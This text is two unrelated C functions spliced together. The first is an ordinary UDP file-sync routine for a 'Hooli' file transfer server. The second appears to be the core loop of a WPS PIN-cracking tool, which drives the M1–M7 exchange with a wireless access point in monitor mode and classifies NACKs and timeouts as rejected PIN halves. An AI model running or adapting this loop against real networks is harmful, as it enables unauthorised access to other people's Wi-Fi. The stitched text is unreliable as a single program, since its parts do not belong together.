// Sends the requested files to the Hooli file transfer server // @param hftpd a pointer to the server information // @param client a pointer to the client information // @return -1 if there was an error, 1 otherwise int hooli_file_sync(server_info *hftpd, client_info *client) { int sockfd; // The socket for communication with the server int seq = 0; // The sequence number int count = 0; file_info *file; host server; // Server address sockfd = create_udp_client_socket(hftpd->server, hftpd->port, &server); csv_record *p = client->response_list; // Loop through all the requested files while (p != NULL) { count++; file = create_file(); initialize_file(file, client, p); send_initialize(sockfd, &server, &seq, file, client, hftpd, p, count); // Keep sending data messages until a file is transferred while (!file->file_transferred) { manage_file_buffer(file); send_data(sockfd, &server, &seq, file); update_progress(file); } //end while final_progress_update(file); free_file_info(file); p = p->next; } //end while send_termination(sockfd, &server, &seq, p, client); // Close the socket close(sockfd); return 1; } //end hooli_file_sync
/* Main loop to listen for packets on a wireless card in monitor mode. */ enum wps_result do_wps_exchange() { struct pcap_pkthdr header; const u_char *packet = NULL; enum wps_type packet_type = UNKNOWN, last_msg = UNKNOWN; enum wps_result ret_val = KEY_ACCEPTED; int premature_timeout = 0, terminated = 0, got_nack = 0; int id_response_sent = 0, tx_type = 0; int m2_sent = 0, m4_sent = 0, m6_sent = 0; /* Initialize settings for this WPS exchange */ set_last_wps_state(0); set_eap_id(0); /* Initiate an EAP session */ send_eapol_start(); /* * Loop until: * * o The pin has been cracked * o An EAP_FAIL packet is received * o We receive a NACK message * o We hit an unrecoverable receive timeout */ while ((get_key_status() != KEY_DONE) && !terminated && !got_nack && !premature_timeout) { tx_type = 0; if (packet_type > last_msg) { last_msg = packet_type; } packet = next_packet(&header); if (packet == NULL) { break; } packet_type = process_packet(packet, &header); memset((void *) packet, 0, header.len); switch (packet_type) { case IDENTITY_REQUEST: cprintf(VERBOSE, "[+] Received identity request\n"); tx_type = IDENTITY_RESPONSE; id_response_sent = 1; break; case M1: cprintf(VERBOSE, "[+] Received \033[1;35mM1\033[0m message\n"); if (id_response_sent && !m2_sent) { tx_type = SEND_M2; m2_sent = 1; } else if (get_oo_send_nack()) { tx_type = SEND_WSC_NACK; terminated = 1; } break; case M3: cprintf(VERBOSE, "[+] Received \033[1;35mM3\033[0m message\n"); if (m2_sent && !m4_sent) { if (globule->pixie_loop == 1) { tx_type = SEND_WSC_NACK; terminated = 1; } else if (globule->pixie_loop == 0) { tx_type = SEND_M4; m4_sent = 1; } //tx_type = SEND_M4; //m4_sent = 1; } else if (get_oo_send_nack()) { tx_type = SEND_WSC_NACK; terminated = 1; } break; case M5: cprintf(VERBOSE, "[+] Received \033[1;35mM5\033[0m message\n"); if (get_key_status() == KEY1_WIP) { set_key_status(KEY2_WIP); } if (m4_sent && !m6_sent) { tx_type = SEND_M6; m6_sent = 1; } else if (get_oo_send_nack()) { tx_type = SEND_WSC_NACK; terminated = 1; } break; case M7: cprintf(VERBOSE, "[+] Received \033[1;35mM7\033[0m message\n"); //bug fix made by flatr0ze if (!m6_sent) { tx_type = SEND_WSC_NACK; terminated = 1; } /* Fall through */ case DONE: if (get_key_status() == KEY2_WIP) { set_key_status(KEY_DONE); } tx_type = SEND_WSC_NACK; break; case NACK: cprintf(VERBOSE, "[+] Received WSC NACK (reason: 0x%04X)\n", get_nack_reason()); got_nack = 1; break; case TERMINATE: terminated = 1; break; default: if (packet_type != 0) { cprintf(VERBOSE, "[!] WARNING: Unexpected packet received (0x%.02X), terminating transaction\n", packet_type); terminated = 1; } break; } if (tx_type == IDENTITY_RESPONSE) { send_identity_response(); } else if (tx_type) { send_msg(tx_type); } /* * If get_oo_send_nack is 0, then when out of order packets come, we don't * NACK them. However, this also means that we wait infinitely for the expected * packet, since the timer is started by send_msg. Manually start the timer to * prevent infinite loops. */ else if (packet_type != 0) { start_timer(); } /* Check to see if our receive timeout has expired */ if (get_out_of_time()) { /* If we have not sent an identity response, try to initiate an EAP session again */ if (!id_response_sent) { /* Notify the user after EAPOL_START_MAX_TRIES eap start failures */ if (get_eapol_start_count() == EAPOL_START_MAX_TRIES) { cprintf(WARNING, "[!] WARNING: %d successive start failures\n", EAPOL_START_MAX_TRIES); set_eapol_start_count(0); premature_timeout = 1; } send_eapol_start(); } else { /* Treat all other time outs as unexpected errors */ premature_timeout = 1; } } } /* * There are four states that can signify a pin failure: * * o Got NACK instead of an M5 message (first half of pin wrong) * o Got NACK instead of an M5 message, when cracking second half (fake NACK) * o Got NACK instead of an M7 message (second half of pin wrong) * o Got receive timeout while waiting for an M5 message (first half of pin wrong) * o Got receive timeout while waiting for an M7 message (second half of pin wrong) */ if (got_nack) { /* * If a NACK message was received, then the current wps->state value will be * SEND_WSC_NACK, indicating that we need to reply with a NACK. So check the * previous state to see what state we were in when the NACK was received. */ /* Warning the user about change of reason code for the received NACK message. */ if (!get_ignore_nack_reason()) { if ((get_last_nack_reason() >= 0) && (get_nack_reason() != get_last_nack_reason())) { cprintf(WARNING, "[!] WARNING: The reason code for NACK has been changed. Potential FAKE NACK!\n"); } set_last_nack_reason(get_nack_reason()); } /* Check NACK reason code for */ if ((get_fake_nack_reason() >= 0) && (get_nack_reason() == get_fake_nack_reason()) && (get_timeout_is_nack())) { ret_val = FAKE_NACK; } else { if ((last_msg == M3) || (last_msg == M5)) { /* The AP is properly sending WSC_NACKs, so don't treat future timeouts as pin failures. */ set_timeout_is_nack(0); /* bug fix made by KokoSoft */ ret_val = ((last_msg == M3) && (get_key_status() == KEY2_WIP) && (get_timeout_is_nack())) ? FAKE_NACK : KEY_REJECTED; } else { ret_val = UNKNOWN_ERROR; } } } else if (premature_timeout) { /* * Some WPS implementations simply drop the connection on the floor instead of sending a NACK. * We need to be able to handle this, but at the same time using a timeout on the M5/M7 messages * can result in false negatives. Thus, treating M5/M7 receive timeouts as NACKs can be disabled. * Only treat the timeout as a NACK if this feature is enabled. */ if (get_timeout_is_nack() && //(last_msg == M3 || last_msg == M5)) ((last_msg == M3 && (get_key_status() == KEY1_WIP)) || last_msg == M5)) //bug fix made by flatr0ze { ret_val = KEY_REJECTED; } else { /* If we timed out at any other point in the session, then we need to try the pin again */ ret_val = RX_TIMEOUT; } } /* * If we got an EAP FAIL message without a preceeding NACK, then something went wrong. * This should be treated the same as a RX_TIMEOUT by the caller: try the pin again. */ else if (terminated) { ret_val = EAP_FAIL; } else if (get_key_status() != KEY_DONE) { ret_val = UNKNOWN_ERROR; } /* * Always completely terminate the WPS session, else some WPS state machines may * get stuck in their current state and won't accept new WPS registrar requests * until rebooted. * * Stop the receive timer that is started by the termination transmission. */ send_wsc_nack(); stop_timer(); if (get_eap_terminate() || ret_val == EAP_FAIL) { send_termination(); stop_timer(); } return ret_val; }